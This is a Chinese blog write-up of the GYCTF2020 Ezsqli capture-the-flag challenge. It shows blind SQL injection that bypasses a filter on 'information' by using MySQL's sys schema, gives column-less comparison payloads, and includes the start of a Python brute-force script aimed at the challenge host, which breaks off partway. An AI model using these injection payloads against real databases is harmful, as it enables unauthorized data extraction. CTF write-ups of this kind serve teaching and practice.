buu-[GYCTF2020]Ezsqli

最新推荐文章于 2022-09-03 16:38:57 发布

有点水啊

最新推荐文章于 2022-09-03 16:38:57 发布

阅读量406

点赞数

分类专栏： buuctf-web sql 文章标签： web sql python

本文链接：https://blog.csdn.net/qaq517384/article/details/120681186

版权

博客主要讲述了在GYCTF2020的Ezsqli挑战中，如何面对图片中的输入框进行SQL注入攻击。作者发现通过fuzz测试，部分字符被过滤，并且利用MySQL 5.7版本的sys库来获取数据库信息。通过无列名注入技术，使用sys库中的不同表找到表名。接着，博主尝试了按位比较和或运算符来获取flag，其中使用了sleep函数来避免请求过多导致的错误。最后，博主提到flag需要转换为小写才能成功提交。

摘要由CSDN通过智能技术生成

朴实无华一张图片，一个输入框，图片太大就不放了
在这里插入图片描述
1是Nu1L，2是V&N，剩下都是“Error Occured When Fetch Result.”
fuzz一下，507的都是被过滤了的

过滤了关键的information，
要用到无列名注入，找库名时需要用到用到5.7版本新增的sys库
利用sys库里的三个表都行
schema_table_statistics/schema_table_statistics_with_buffer
/x$schema_flattened_keys
表可以代替information.schema找到表名
在这里插入图片描述
找到表名后用按位比较跑
2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))

麻了，试了一晚上异或没搞出来，然后就用或了，getflag的二分脚本也先放着，后面补
sleep（5）防止buu爆429乱跑

import requests
import requests
import time
url = 'http://6ab28464-7325-4ec9-b2a9-4ed67560619b.node4.buuoj.cn:81/'

def findtable():
    payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{},1))>{}'
    flag